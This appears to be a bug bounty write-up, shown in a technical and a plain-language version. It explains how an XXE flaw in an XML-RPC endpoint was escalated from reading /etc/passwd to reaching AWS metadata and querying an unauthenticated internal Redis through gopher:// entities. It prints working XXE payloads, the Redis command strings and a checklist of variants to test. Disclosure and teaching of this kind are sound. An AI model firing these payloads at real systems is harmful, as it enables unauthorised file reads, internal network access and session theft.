From $1,000 to $10,000: How I Turned a "Limited" XXE Into a Critical Redis Session Store Exposure
I’m grateful to share this journey, where a seemingly limited XXE vulnerability turned into a much more impactful security finding, ultimately increasing the bounty from $1,000 to $10,000.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a web application whose attack surface included several DLL and EXE files. The application exposed an XML-RPC endpoint that accepted XML. The client-side implementation of XML-RPC revealed several methods the client could call on the server. The endpoint itself was the focus: because it accepted XML, the researcher wanted to see how the server's parser handled external entities.
Setup
The researcher decompiled the DLL and EXE files and looked for hardcoded endpoints or internal implementation details. The files were first passed to an AI-powered hackbot, which about an hour later surfaced an endpoint that accepted XML. The code it analysed contained a client-side implementation of XML-RPC and revealed several methods the client could call on the server. No accounts, roles, tools or versions are given in the report.
Finding it
The endpoint accepted XML, so the researcher made XML External Entity injection (XXE) the first test. The individual XML-RPC methods could have been reviewed for issues such as SQL injection or information disclosure, but the endpoint itself caught attention because of how the server's parser might handle external entities.
Exploitation
Step 1: Internal entity expansion
The first test was a control to see whether the XML-RPC parser would process a DTD and expand an internal entity. The entity tiny was defined as ALR-CONTROL and referenced in the <methodName> field.
<?xml version="1.0"?><!DOCTYPE methodCall [ <!ENTITY tiny "ALR-CONTROL">]><methodCall> <methodName>&tiny;</methodName> <params></params></methodCall>
The server returned an XML-RPC fault containing the expanded value.
<member> <name>faultString</name> <value> <string>No such method `ALR-CONTROL'</string> </value></member>
The error showed that the server tried to look up ALR-CONTROL as a method name. That confirmed the parser processed the DTD and expanded the internal entity before method lookup. The next question was whether the parser would resolve external entities as well.
Step 2: Local file read
With internal entity expansion confirmed, the researcher tested whether the parser would resolve an external entity. /etc/passwd was used as a recognizable local file, and its contents were looked for in the XML-RPC fault response. If the response contained those contents, it would confirm that the parser could read a local file and expose it to the caller.

After confirming that the XML-RPC endpoint disclosed the contents of /etc/passwd, the researcher submitted the report. At that point, /etc/passwd was the only file verified. The team assessed the impact as more limited than expected. They pointed out that the vulnerability could not read /proc/self/environ and awarded $1,000 for the impact demonstrated. Their response prompted a closer look at what else the vulnerability could expose.

Step 3: Internal network requests
After submitting the initial report, the researcher got curious about what else the XML-RPC server could reach. Could the same XXE issue make server-side requests to services on the internal network? If so, it could expose resources that were inaccessible from the internet, including AWS metadata services, depending on how the environment was configured.
The researcher started with the server's loopback address. The response contained the contents of its robots.txt file, confirming that the request originated from the server and reached a local web service. The researcher explained to the team that this behaviour could potentially be used to probe internal IP addresses and check which ports were reachable from the server.
The researcher also reached an AWS container metadata endpoint on a link-local address and received a metadata response. That was as far as could be verified at this stage. An update with both results was sent to the team. The original report had demonstrated a local file read. The new evidence showed that the same vulnerability could also reach internal services and return their responses.
The team said they hadn't realised the vulnerability could reach internal services. They still considered the impact limited. In their assessment, the server could only make GET requests, and the only metadata path shown to be accessible was /v2/metadata. Even so, they raised the bounty from $1,000 to $2,000.
The researcher read their response as an opening. If a greater impact could be demonstrated, they might reassess the bounty again. That's when things got interesting.

Step 4: Redis interaction
After inventorying the internal IP addresses, the researcher reviewed /proc/net/tcp to identify the endpoints, ports, and socket states. One entry stood out. It showed a connection to port 6379, the default Redis port, with a socket state of 01.
| Socket state | Meaning |
|---|---|
01 (ESTABLISHED) |
The TCP connection was active when the table was captured. |
Redis uses its own protocol over TCP, so an HTTP external entity was unsuitable for testing whether the service accepted Redis commands. The entity handler needed to communicate with Redis directly over TCP.
The first Gopher test was deliberately simple. It timed out, and that timeout turned out to be a clue. LWP's Gopher handler reads until it reaches end-of-file (EOF), while Redis kept the TCP connection open after responding. The XML-RPC request was still waiting for the socket to close.
In the follow-up test, the connection closed cleanly. LWP reached EOF, and the XML-RPC faultString returned the Redis replies:
+PONG+OK

That response changed the direction of the investigation. The XML-RPC server could reach the internal Redis instance, and Redis processed the test commands without requiring AUTH.
After reaching the Redis instance and confirming that it accepted the tested commands without authentication, the researcher used the payload shown below to retrieve server information, including its operating mode, port, and uptime. This provided concrete evidence of access for the security team.
<!ENTITY xxe SYSsTEM "gopher://172.xx.xx.xxx:6379/0INFO%20server%0d%0aQUIT%0d%0a">
The server returned the Redis information shown in the following screenshot.

At this point, the researcher believed the impact had been demonstrated by interacting directly with Redis without authentication. Additional evidence was sent to the team showing that session data could be retrieved and the number of keys stored in Redis determined, using the following payloads.
<?xml version="1.0"?><!DOCTYPE methodCall [<!ENTITY XXE SYSsTEM "gopher://172.xx.xx.xxx:6379/0SCAN%200%20COUNT%2020%0d%0aQUIT%0d%0a"> ]> <methodCall><methodName>&xxe;</methodName><params></params></methodCall>
<!ENTITY xxe SYSsTEM "gopher://172.xx.xx.xxx:6379/0INFO%20keyspace%0d%0aQUIT%0d%0a">

After the impact was clearly demonstrated to the security team, they increased the bounty to $10,000, the highest reward the researcher had ever received. In just 10 days, what began as a $1,000 bounty had grown to $10,000.

Root cause
The XML-RPC parser processed DTDs and expanded both internal and external entities. External entities were resolved by the server, allowing local file reads and server-side requests to internal services. The parser resolved external entities, and a Gopher entity could be used to speak to Redis directly over TCP. Redis itself accepted commands without authentication, which allowed the researcher to retrieve server information and session data. The report does not state why the parser was configured this way or what defences, if any, were in place.
Impact
An attacker could read local files that the application could access, such as /etc/passwd. The vulnerability could also make server-side requests to internal services, including the loopback address and an AWS container metadata endpoint on a link-local address. The team noted that the server could only make GET requests and that the only metadata path shown to be accessible was /v2/metadata. The researcher demonstrated that the XML-RPC server could reach an internal Redis instance on port 6379 and interact with it without authentication, retrieving server information, session data, and the number of keys stored. The report does not specify what session data was retrieved or how many keys were stored.
Fix
A fix would be to disable DTD processing and external entity resolution in the XML parser, or to restrict external entities to safe protocols and destinations. Redis should require authentication and should not be reachable from the XML-RPC server unless necessary.
Variants to test
- Internal entity expansion in any XML parser: send a DTD that defines an internal entity and reference it in a field that is reflected in an error message. A positive result is the expanded value appearing in the response.
- External entity file read: define an external entity pointing to a local file such as
/etc/passwdand reference it in a field that is reflected. A positive result is the file contents appearing in the response. - Server-side requests to loopback: define an external entity pointing to
http://[redacted]/robots.txtor another local service. A positive result is the contents of the local resource appearing in the response. - Cloud metadata access: define an external entity pointing to a link-local metadata endpoint such as
http://[redacted]/latest/meta-data/. A positive result is metadata being returned. - Gopher to internal TCP services: define an external entity using the
gopher://scheme to send commands to internal services such as Redis on port6379. A positive result is the service's response appearing in the XML-RPC fault or response. - Redis without authentication: if Redis is reachable, send
INFO,SCAN, orINFO keyspacecommands via Gopher. A positive result is Redis returning information or keyspace data.
What happened, in plain words
A security researcher was looking at a web application and found a way to make its server read files and talk to other computers that were not supposed to be reachable from the internet. The first version of the problem looked small: the company paid $1,000 and said the impact was limited. The researcher kept digging, found that the same flaw could reach an internal Redis instance, and showed that it accepted the tested commands without authentication. Ten days after the first report, the reward had grown to $10,000.
This article walks through the same steps the researcher took, in the same order, and explains every idea from scratch. You only need to know how to use a browser and a computer to follow it.
Some background ideas first
Before the steps make sense, here are a few everyday ideas.
- A server is a computer that runs a website or service and answers requests from other computers. When you open a page, your browser asks a server for it.
- An endpoint is a specific address on a server that accepts a particular kind of request, like a counter in a shop that only handles one type of transaction. For example, one endpoint might accept only XML.
- An API (Application Programming Interface) is a way for one program to ask another program to do something, without a human clicking buttons. Think of it as a waiter: you tell the waiter what you want, the waiter tells the kitchen, and the kitchen sends the dish back.
- XML is a text format for structured data. It uses tags in angle brackets, like
<name>value</name>, to label pieces of information. It looks a bit like HTML, the language web pages are written in. - XML-RPC is a convention for calling functions on a remote server using XML. The client sends an XML document that names a method (a function) and its parameters, and the server replies with the result or an error.
- A parser is the part of a program that reads a text format and turns it into something the program can use. When the server receives XML, its parser reads the XML and works out what it means.
- A DTD (Document Type Definition) is a section at the top of an XML document that can define shortcuts called entities. An entity is like a nickname: you define
&name;to stand for some text, and wherever the parser sees&name;it substitutes that text. - An external entity is an entity whose value is not written in the document but fetched from somewhere else, such as a file on the server or a URL. This is the feature that makes XXE (XML External Entity injection) possible: if a server accepts XML from users and resolves external entities, an attacker can make the server fetch things the attacker cannot reach directly.
- Local file means a file on the server's own disk, such as
/etc/passwd, a standard file on Linux systems that lists user accounts. - Loopback address is the address a computer uses to talk to itself, usually
[redacted]. It is like calling your own phone number. - Link-local address is an address used on a local network segment, often
169.254.x.x. Cloud providers sometimes put metadata services there. - AWS metadata service is a small service that cloud servers can ask for information about themselves, such as their configuration. It is meant to be reachable only from the server itself.
- Redis is a database that stores data in memory and is often used to keep sessions. A session is the server's memory of who you are after you log in; the server stores a session identifier, often in a cookie, which is a small piece of data your browser sends back with each request.
- Port is a numbered channel on a computer. A server can run many services, each listening on a different port. Redis uses port
6379by default. - TCP is the basic protocol computers use to send streams of data to each other reliably.
- Gopher is an old internet protocol for fetching documents. It is rarely used today, but it is useful in XXE because it lets an attacker send arbitrary text to a TCP port, not just make an HTTP request.
- LWP is a Perl library for making web requests. The report mentions its Gopher handler, which reads from the connection until it reaches end-of-file (EOF), meaning the other side has closed the connection.
- Bounty is money a company pays a researcher for reporting a security problem responsibly.
Discovery: finding the endpoint
While mapping the target's attack surface, the researcher came across several DLL and EXE files. DLL and EXE are Windows program files. Programs often contain hardcoded addresses, internal names, or clues about how they talk to servers. The researcher usually decompiles these binaries, meaning converts them back into a form that can be read, and looks for such details.
This time, the files were handed to an AI-powered hackbot for a first pass. About an hour later, it surfaced an interesting endpoint that accepted XML. The code it analysed contained a client-side implementation of XML-RPC and revealed several methods the client could call on the server.
The individual methods could have been reviewed for issues like SQL injection or information disclosure, but what caught the researcher's attention was the endpoint itself. Since it accepted XML, the question was how the server's parser handled external entities. The endpoint was added to the notes, and XML External Entity injection (XXE) became the first test.
Initial impact
Step 1: Does the parser expand a simple entity?
The first test was a control. A control is a simple test whose outcome you already expect, used to check that the basic mechanism works before trying anything more complex. The researcher wanted to see whether the XML-RPC parser would process a DTD and expand an internal entity. The entity tiny was defined as ALR-CONTROL and referenced in the <methodName> field.
<?xml version="1.0"?><!DOCTYPE methodCall [ <!ENTITY tiny "ALR-CONTROL">]><methodCall> <methodName>&tiny;</methodName> <params></params></methodCall>
Line by line:
<?xml version="1.0"?>says this is an XML document, version 1.0.<!DOCTYPE methodCall [ ... ]>starts a DTD section for a document type calledmethodCall.<!ENTITY tiny "ALR-CONTROL">defines an entity namedtinywhose value is the textALR-CONTROL.<methodCall>opens the XML-RPC request.<methodName>&tiny;</methodName>asks the server to call a method whose name is the value oftiny. If the parser expands the entity, the name becomesALR-CONTROL.<params></params>says there are no parameters.</methodCall>closes the request.
The server returned an XML-RPC fault containing the expanded value.
<member> <name>faultString</name> <value> <string>No such method `ALR-CONTROL'</string> </value></member>
Line by line:
<member>starts one field of the response.<name>faultString</name>names the fieldfaultString, which is where XML-RPC puts the error message.<value><string>No such methodALR-CONTROL'</string></value>is the error text. The server tried to look up a method calledALR-CONTROL` and did not find one.</member>closes the field.
The error showed that the server tried to look up ALR-CONTROL as a method name. That confirmed the parser processed the DTD and expanded the internal entity before method lookup. In plain terms: the server read the shortcut and replaced it with the text, exactly as the researcher hoped. The next question was whether the parser would resolve external entities as well, meaning entities that point to files or URLs.
Step 2: Reading a local file
With internal entity expansion confirmed, the researcher moved on to test whether the parser would resolve an external entity. /etc/passwd was used as a recognisable local file, and its contents were looked for in the XML-RPC fault response. If the response contained those contents, it would confirm that the parser could read a local file and expose it to the caller.

The screenshot shows the result of that test: the XML-RPC fault response containing the contents of /etc/passwd, which is the evidence that the server read the file and returned it.
After confirming that the XML-RPC endpoint disclosed the contents of /etc/passwd, the researcher submitted the report. At that point, /etc/passwd was the only file verified. The researcher suspected the issue might expose other files readable by the application.
The team assessed the impact as more limited than expected. They pointed out that the vulnerability could not read /proc/self/environ and awarded $1,000 for the impact demonstrated. /proc/self/environ is a special file on Linux that holds the environment variables of a running process. The team's point was that the flaw did not reach that file. Their response prompted a closer look at what else the vulnerability could expose.

Step 3: Reaching internal services
After submitting the initial report, the researcher got curious about what else the XML-RPC server could reach. Could the same XXE issue make server-side requests to services on the internal network? A server-side request means the server, not the researcher's browser, makes the request. If so, it could expose resources that were inaccessible from the internet, including AWS metadata services, depending on how the environment was configured.
The researcher started with the server's loopback address. The response contained the contents of its robots.txt file, confirming that the request originated from the server and reached a local web service. robots.txt is a small file websites use to tell search engines which pages not to crawl. The researcher explained to the team that this behaviour could potentially be used to probe internal IP addresses and check which ports were reachable from the server.
The researcher also reached an AWS container metadata endpoint on a link-local address and received a metadata response. That was as far as could be verified at this stage. An update with both results was sent to the team. The original report had demonstrated a local file read. The new evidence showed that the same vulnerability could also reach internal services and return their responses.
The team said they hadn't realised the vulnerability could reach internal services. They still considered the impact limited. In their assessment, the server could only make GET requests, and the only metadata path shown to be accessible was /v2/metadata. A GET request is the ordinary kind of request a browser makes when you open a page; it asks for something and does not change anything. Even so, they raised the bounty from $1,000 to $2,000.
The researcher read their response as an opening. If a greater impact could be demonstrated, they might reassess the bounty again. That's when things got interesting.

Escalating the impact
Step 4: Finding Redis
After inventorying the internal IP addresses, the researcher reviewed /proc/net/tcp to identify the endpoints, ports, and socket states. /proc/net/tcp is a file on Linux that lists current TCP connections. A socket state is a short code describing whether a connection is open, waiting, or closed. One entry stood out. It showed a connection to port 6379, the default Redis port, with a socket state of 01.
| Socket state | Meaning |
|---|---|
01 (ESTABLISHED) |
The TCP connection was active when the table was captured. |
In plain words: the table showed a connection to port 6379 that was active when it was captured. That made Redis a promising target.
Redis uses its own protocol over TCP, so an HTTP external entity was unsuitable for testing whether the service accepted Redis commands. HTTP is the language of the web; Redis speaks a different language. The entity handler needed to communicate with Redis directly over TCP. That is where Gopher comes in: a gopher:// external entity lets the attacker send raw text to a TCP port.
The first Gopher test was deliberately simple. It timed out, and that timeout turned out to be a clue. LWP's Gopher handler reads until it reaches end-of-file (EOF), while Redis kept the TCP connection open after responding. The XML-RPC request was still waiting for the socket to close. In everyday terms: the researcher's tool was waiting for the other side to hang up, and Redis never did.
In the follow-up test, the connection closed cleanly. LWP reached EOF, and the XML-RPC faultString returned the Redis replies:
+PONG+OK
Line by line:
+PONGis Redis's reply to a ping command, meaning the service is alive and answering.+OKis Redis's reply to a command that succeeded, in this case the quit command that closed the connection.

That response changed the direction of the investigation. The XML-RPC server could reach the internal Redis instance, and Redis processed the test commands without requiring AUTH. AUTH is the Redis command that supplies a password; without it, anyone who can reach the port can send commands.
Step 5: Getting information out of Redis
After reaching the Redis instance and confirming that it accepted the tested commands without authentication, the researcher used the payload shown below to retrieve server information, including its operating mode, port, and uptime. This provided concrete evidence of access for the security team.
<!ENTITY xxe SYSsTEM "gopher://172.xx.xx.xxx:6379/0INFO%20server%0d%0aQUIT%0d%0a">
Line by line:
<!ENTITY xxe SYSsTEM "...">defines an external entity namedxxe. The keyword is writtenSYSsTEMin the report; XML keywords are normally case-sensitive, so this is reproduced exactly as it appears.gopher://172.xx.xx.xxx:6379/0says: use the Gopher protocol to connect to the internal address on port6379, and send the text that follows. The0is part of the Gopher URL format.INFO%20serveris the Redis commandINFO server, with%20standing for a space. It asks Redis for information about the server.%0d%0ais a carriage return and line feed, the characters that end a line in the Redis protocol.QUIT%0d%0atells Redis to close the connection after answering.
The server returned the Redis information shown in the following screenshot.

The screenshot shows the Redis server information coming back through the XML-RPC response, which is the concrete evidence that the researcher could talk to Redis.
At this point, the researcher believed the impact had been demonstrated by interacting directly with Redis without authentication. Additional evidence was sent to the team showing that session data could be retrieved and the number of keys stored in Redis determined, using the following payloads.
<?xml version="1.0"?><!DOCTYPE methodCall [<!ENTITY XXE SYSsTEM "gopher://172.xx.xx.xxx:6379/0SCAN%200%20COUNT%2020%0d%0aQUIT%0d%0a"> ]> <methodCall><methodName>&xxe;</methodName><params></params></methodCall>
Line by line:
<?xml version="1.0"?>declares the XML version.<!DOCTYPE methodCall [ ... ]>starts the DTD.<!ENTITY XXE SYSsTEM "gopher://172.xx.xx.xxx:6379/0SCAN%200%20COUNT%2020%0d%0aQUIT%0d%0a">defines an external entity namedXXEthat connects to Redis and sendsSCAN 0 COUNT 20, which asks Redis to list up to 20 keys, thenQUIT.<methodCall>opens the XML-RPC request.<methodName>&xxe;</methodName>puts the entity in the method name, so the server resolves it and the Redis reply ends up in the error message.</methodCall>closes the request.
<!ENTITY xxe SYSsTEM "gopher://172.xx.xx.xxx:6379/0INFO%20keyspace%0d%0aQUIT%0d%0a">
Line by line:
gopher://172.xx.xx.xxx:6379/0connects to Redis on port6379.INFO%20keyspaceasks Redis for the keyspace section of its information, which reports how many keys exist in each database.%0d%0aQUIT%0d%0aends the command and closes the connection.

The screenshot shows the evidence that session data and key counts could be retrieved from Redis.
After the impact was clearly demonstrated to the security team, they increased the bounty to $10,000, the highest reward the researcher had ever received. In just 10 days, what began as a $1,000 bounty had grown to $10,000.

Why it worked
The XML-RPC parser processed DTDs and expanded both internal and external entities. External entities were resolved by the server, allowing local file reads and server-side requests to internal services. The parser resolved external entities, and a Gopher entity could be used to speak to Redis directly over TCP. Redis itself accepted commands without authentication, which allowed the researcher to retrieve server information and session data. The report does not state why the parser was configured this way or what defences, if any, were in place.
What an attacker could do
An attacker could read local files that the application could access, such as /etc/passwd. The vulnerability could also make server-side requests to internal services, including the loopback address and an AWS container metadata endpoint on a link-local address. The team noted that the server could only make GET requests and that the only metadata path shown to be accessible was /v2/metadata. The researcher demonstrated that the XML-RPC server could reach an internal Redis instance on port 6379 and interact with it without authentication, retrieving server information, session data, and the number of keys stored. The report does not specify what session data was retrieved or how many keys were stored.
How to fix it
A fix would be to disable DTD processing and external entity resolution in the XML parser, or to restrict external entities to safe protocols and destinations. Redis should require authentication and should not be reachable from the XML-RPC server unless necessary.
Variants to test
If you want to look for similar problems, here are the same tests in plain terms.
- Internal entity expansion in any XML parser: send a DTD that defines an internal entity and reference it in a field that is reflected in an error message. A positive result is the expanded value appearing in the response.
- External entity file read: define an external entity pointing to a local file such as
/etc/passwdand reference it in a field that is reflected. A positive result is the file contents appearing in the response. - Server-side requests to loopback: define an external entity pointing to
http://[redacted]/robots.txtor another local service. A positive result is the contents of the local resource appearing in the response. - Cloud metadata access: define an external entity pointing to a link-local metadata endpoint such as
http://[redacted]/latest/meta-data/. A positive result is metadata being returned. - Gopher to internal TCP services: define an external entity using the
gopher://scheme to send commands to internal services such as Redis on port6379. A positive result is the service's response appearing in the XML-RPC fault or response. - Redis without authentication: if Redis is reachable, send
INFO,SCAN, orINFO keyspacecommands via Gopher. A positive result is Redis returning information or keyspace data.
Glossary
- API: a way for one program to ask another program to do something, without a human clicking buttons.
- AWS metadata service: a small service that cloud servers can ask for information about themselves, meant to be reachable only from the server itself.
- Bounty: money a company pays a researcher for reporting a security problem responsibly.
- Cookie: a small piece of data a website stores in your browser and your browser sends back with each request.
- DLL: a Windows file that contains code shared by programs.
- DTD: a section at the top of an XML document that can define shortcuts called entities.
- Endpoint: a specific address on a server that accepts a particular kind of request.
- Entity: a nickname in XML that the parser replaces with some text or with content fetched from elsewhere.
- EOF: end-of-file, the point at which the other side of a connection has closed it and there is nothing more to read.
- EXE: a Windows program file.
- External entity: an entity whose value is fetched from a file or URL rather than written in the document.
- GET request: the ordinary kind of web request that asks for something and does not change anything.
- Gopher: an old internet protocol for fetching documents, useful in XXE because it can send arbitrary text to a TCP port.
- Internal entity: an entity whose value is written directly in the DTD.
- Link-local address: an address used on a local network segment, often
169.254.x.x. - Local file: a file on the server's own disk.
- Loopback address: the address a computer uses to talk to itself, usually
[redacted]. - LWP: a Perl library for making web requests.
- Parser: the part of a program that reads a text format and turns it into something the program can use.
- Port: a numbered channel on a computer that a service listens on.
- Redis: a database that stores data in memory, often used to keep sessions.
- Session: the server's memory of who you are after you log in.
- Socket state: a short code describing whether a TCP connection is open, waiting, or closed.
- SQL injection: a class of attack where malicious input changes a database query.
- TCP: the basic protocol computers use to send streams of data to each other reliably.
- XML: a text format for structured data that uses tags in angle brackets.
- XML-RPC: a convention for calling functions on a remote server using XML.
- XXE: XML External Entity injection, a flaw where a server accepts XML and resolves external entities, letting an attacker make the server fetch files or URLs.